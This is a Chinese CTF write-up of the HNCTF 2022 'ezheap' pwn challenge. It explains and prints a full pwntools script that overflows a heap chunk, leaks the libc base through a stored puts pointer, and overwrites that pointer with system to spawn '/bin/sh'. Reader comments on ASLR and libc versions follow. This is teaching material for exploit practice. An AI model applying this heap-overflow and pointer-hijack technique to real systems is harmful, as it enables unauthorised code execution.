0%

[HNCTF 2022 WEEK4]ezheap hacbit的WriteUp

2023-07-01 09:09By
hacbit
PWNheap

看到add()里面放了一个puts地址,然后show()函数是调用heap里面的puts地址来输出heap中数据。

所以思路为:可以先用puts泄露libc基地址,然后再把puts改成system地址来getshell

NSSIMAGE

NSSIMAGE

动调一下,先add两次分别给0x10空间
NSSIMAGE
图中红线分开的4个堆区,一词放的是name,content,name,content,我们可以把前一个堆用edit改变大小,溢出到070的位置把原本指向第二个content的堆指针改成指向puts的

# leak libc_base add(0, 0x10, "A", "A") add(1, 0x10, "B", "B") payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80' edit(0, 0x31, payload) '''把原本0x10大小改成0x31(刚好可以覆盖到070那里的最低一位字节),使得原本指向下一个堆块的地址指向puts的地址''' show(1) libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"] log.info("libc_base: " + hex(libc_base))

接下来因为先输出name再输出content,完全可以把/bin/sh写到name上然后system(name)拿到shell,不需要再跳转到content上了,所以我们就没必要泄露heap基地址,070那里的堆指针可以直接覆盖过去,再把puts地址改为system地址

system = libc_base + libc.sym["system"] payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system) edit(0, 0x48, payload) show(1) i()

用的本地打的图(配置了和题目一样的环境了,打远程应该没问题)
NSSIMAGE

完整exp:

from pwn import * from LibcSearcher import * from ctypes import * context.log_level = "debug" libc = ELF("./libc-2.23.so") io = process("./ezheap") # io = remote('node1.anna.nssctf.cn', 28720) def s(payload: bytes) -> None: return io.send(payload) def sl(payload: bytes) -> None: return io.sendline(payload) def sa(message: str, payload: bytes) -> bytes: return io.sendafter(message, payload) def sla(message: str, payload: bytes) -> bytes: return io.sendlineafter(message, payload) def r(numb = None, timeout: float = 5) -> bytes: return io.recv(numb, timeout) def rl() -> bytes: return io.recvline() def ru(message, drop: bool = False, timeout: float = 5) -> bytes: return io.recvuntil(message, drop=drop, timeout=timeout) def i() -> None: return io.interactive() def add(index, size, name, content): sla("Choice:", "1") sla("Input your idx:", str(index)) sla("Size:", str(size)) sla("Name:", name) sla("Content:", content) def delete(index): sla("Choice:", "2") sla("Input your idx:", str(index)) def show(index): sla("Choice:", "3") sla("Input your idx:", str(index)) def edit(index, size, content): sla("Choice:", "4") sla("Input your idx:", str(index)) sla("Size:", str(size)) s(content) # leak libc_base add(0, 0x10, "A", "A") add(1, 0x10, "B", "B") payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80' edit(0, 0x31, payload) show(1) libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"] log.info("libc_base: " + hex(libc_base)) # get shell system = libc_base + libc.sym["system"] payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system) edit(0, 0x48, payload) show(1) i()
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

师傅请问这个堆地址是固定的吗,我gdb上一直是这个,如果用我本地的堆地址的话就跑不通,这是为什么啊
NSSIMAGE

这个题目libc版本是2.23,没有Tcache机制,我们用的都是高版本的,NSSIMAGE存了一块放tcache 的堆块,使用导致我们本地打和远程打这个题目不一样

不是固定的

gdb 调试的话应该是固定的,会关闭aslr
gdb.attach() 的话不会固定
远程能打通, 本地打不通应该是libc版本问题